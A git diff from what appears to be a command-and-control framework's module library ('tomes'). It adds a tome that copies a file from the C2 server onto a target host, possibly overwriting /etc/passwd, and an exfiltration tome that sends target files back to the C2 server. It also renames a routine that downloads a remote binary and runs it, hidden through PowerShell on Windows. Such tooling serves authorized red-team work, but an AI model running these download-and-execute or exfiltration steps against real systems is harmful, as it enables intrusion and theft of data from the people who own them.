diff --git a/tavern/tomes/fetch_asset/main.eldritch b/tavern/tomes/fetch_asset/main.eldritch new file mode 100644 index 000000000..74a724942 --- /dev/null +++ b/tavern/tomes/fetch_asset/main.eldritch @@ -0,0 +1 @@ +assets.copy(input_params['src_path'], input_params['dst_path']) diff --git a/tavern/tomes/fetch_asset/metadata.yml b/tavern/tomes/fetch_asset/metadata.yml new file mode 100644 index 000000000..bfa236d5b --- /dev/null +++ b/tavern/tomes/fetch_asset/metadata.yml @@ -0,0 +1,14 @@ +name: Fetch asset +description: Move an asset from the c2 server onto the target host. +author: hulto +support_model: FIRST_PARTY +tactic: EXECUTION +paramdefs: +- label: Destination + name: dst_path + placeholder: /etc/passwd + type: string +- label: Source + name: src_path + placeholder: example/linux/test-file + type: string diff --git a/tavern/tomes/download/main.eldritch b/tavern/tomes/http_get_file/main.eldritch similarity index 84% rename from tavern/tomes/download/main.eldritch rename to tavern/tomes/http_get_file/main.eldritch index 4614267c5..f7e723402 100644 --- a/tavern/tomes/download/main.eldritch +++ b/tavern/tomes/http_get_file/main.eldritch @@ -1,4 +1,4 @@ -def download_file(remote_src, local_dst, insecure): +def get_http_file(remote_src, local_dst, insecure): if file.is_dir(file.parent_dir(local_dst)): if file.is_file(local_dst): file.remove(local_dst) @@ -7,7 +7,7 @@ def download_file(remote_src, local_dst, insecure): eprint("Specified path has no parent directory") def main(): - download_file( + get_http_file( input_params['url'], input_params['dst'], input_params['insecure'].lower() == "true" diff --git a/tavern/tomes/download/metadata.yml b/tavern/tomes/http_get_file/metadata.yml similarity index 81% rename from tavern/tomes/download/metadata.yml rename to tavern/tomes/http_get_file/metadata.yml index 25511cde5..1a72b6a06 100644 --- a/tavern/tomes/download/metadata.yml +++ b/tavern/tomes/http_get_file/metadata.yml @@ -1,5 +1,5 @@ -name: Download -description: Download a file +name: HTTP GET file +description: Copy a file from a remote HTTP server to the target host author: hulto support_model: FIRST_PARTY tactic: EXECUTION diff --git a/tavern/tomes/download_and_execute/main.eldritch b/tavern/tomes/http_get_file_and_execute/main.eldritch similarity index 81% rename from tavern/tomes/download_and_execute/main.eldritch rename to tavern/tomes/http_get_file_and_execute/main.eldritch index 672abfebb..3f5100f97 100644 --- a/tavern/tomes/download_and_execute/main.eldritch +++ b/tavern/tomes/http_get_file_and_execute/main.eldritch @@ -3,10 +3,10 @@ def get_parent_process(process_name): if process_name == cur_proc['name']: return cur_proc['ppid'] -def download_and_execute(url): +def http_get_and_execute(url): if sys.is_linux() or sys.is_macos(): # Download - http.download(url, "./tmp.elf") + http.http_get(url, "./tmp.elf") sys.shell("chmod +x ./tmp.elf") # Execute sys.exec("./tmp.elf", [], True) @@ -18,11 +18,11 @@ def download_and_execute(url): process.kill(ppid) elif sys.is_windows(): - http.download(url, "./tmp.exe") + http.http_get(url, "./tmp.exe") sys.exec("powershell.exe", ["Start-Process -WindowStyle hidden ./tmp.exe"]) else: eprint("OS not supported") return -download_and_execute(input_params['url']) +http_get_and_execute(input_params['url']) diff --git a/tavern/tomes/download_and_execute/metadata.yml b/tavern/tomes/http_get_file_and_execute/metadata.yml similarity index 52% rename from tavern/tomes/download_and_execute/metadata.yml rename to tavern/tomes/http_get_file_and_execute/metadata.yml index a91c9e62e..bb04f17c0 100644 --- a/tavern/tomes/download_and_execute/metadata.yml +++ b/tavern/tomes/http_get_file_and_execute/metadata.yml @@ -1,5 +1,5 @@ -name: Download and execute -description: Download a file and execute it. If possible background and disown the process. +name: HTTP GET file and execute +description: Copy a file from a remote HTTP server to the target host and execute it. If possible background and disown the process. author: hulto support_model: FIRST_PARTY tactic: EXECUTION diff --git a/tavern/tomes/report_file/main.eldritch b/tavern/tomes/report_file/main.eldritch new file mode 100644 index 000000000..f7e4868e7 --- /dev/null +++ b/tavern/tomes/report_file/main.eldritch @@ -0,0 +1 @@ +report.file(input_params['path']) diff --git a/tavern/tomes/report_file/metadata.yml b/tavern/tomes/report_file/metadata.yml new file mode 100644 index 000000000..7dc256ae2 --- /dev/null +++ b/tavern/tomes/report_file/metadata.yml @@ -0,0 +1,10 @@ +name: Report file +description: Report a file on a target host back to the c2 server. +author: hulto +support_model: FIRST_PARTY +tactic: EXFILTRATION +paramdefs: +- label: File path + name: path + placeholder: /etc/passwd + type: string